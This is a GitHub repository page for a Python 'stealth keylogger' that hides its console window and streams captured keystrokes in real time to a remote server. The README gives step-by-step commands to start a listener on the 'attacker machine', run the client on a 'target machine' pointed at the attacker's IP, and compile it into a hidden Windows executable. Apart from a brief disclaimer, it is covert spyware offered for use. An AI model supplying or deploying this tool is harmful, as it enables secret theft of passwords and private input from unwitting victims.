Skip to content

fdehech/StealthKeyLogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Stealth Keylogger

A Python-based stealth keylogger with a client-server architecture. This project allows for remote monitoring of keystrokes over a network connection.

⚠️ Disclaimer

This project is for educational and ethical security testing purposes only. Using this software against targets without prior informed consent is illegal. The author assumes no liability for any misuse or damage caused by this program.

Features

  • Stealth Mode: Automatically hides the console window on Windows systems.
  • Remote Logging: Sends keystrokes in real-time to a central server.
  • Buffering: Stores keystrokes locally if the connection is lost and syncs them once reconnected.
  • Reconnection Logic: Automatically attempts to reconnect to the server every 30 seconds.
  • Readable Format: Converts special keys (Enter, Shift, etc.) into readable tags like [ENTER].

Project Structure

  • server.py: The listener script that receives and logs keystrokes.
  • client.py: The keylogger script to be run on the target machine.
  • requirements.txt: List of Python dependencies.

Installation

  1. Clone the repository:

    git clone https://github.com/yourusername/Keylogger.git
    cd Keylogger
  2. Install dependencies:

    pip install -r requirements.txt

Usage

1. Start the Server

Run the server on your machine (the attacker machine):

python server.py --host 0.0.0.0 --port 12345

By default, it listens on all interfaces (0.0.0.0) on port 12345.

2. Run the Client

Run the client on the target machine, specifying the attacker's IP:

python client.py --ip YOUR_SERVER_IP --port 12345

The console window will hide automatically upon execution.

Compilation (Optional)

To convert the client script into a standalone Windows executable (.exe), you can use PyInstaller:

  1. Install PyInstaller:

    pip install pyinstaller
  2. Compile the client:

    pyinstaller --onefile --noconsole client.py

    The executable will be generated in the dist/ folder.

Dependencies

  • pynput: For monitoring keyboard events.
  • pywin32: For interacting with Windows APIs to hide the console.

License

This project is licensed under the MIT License - see the LICENSE file for details.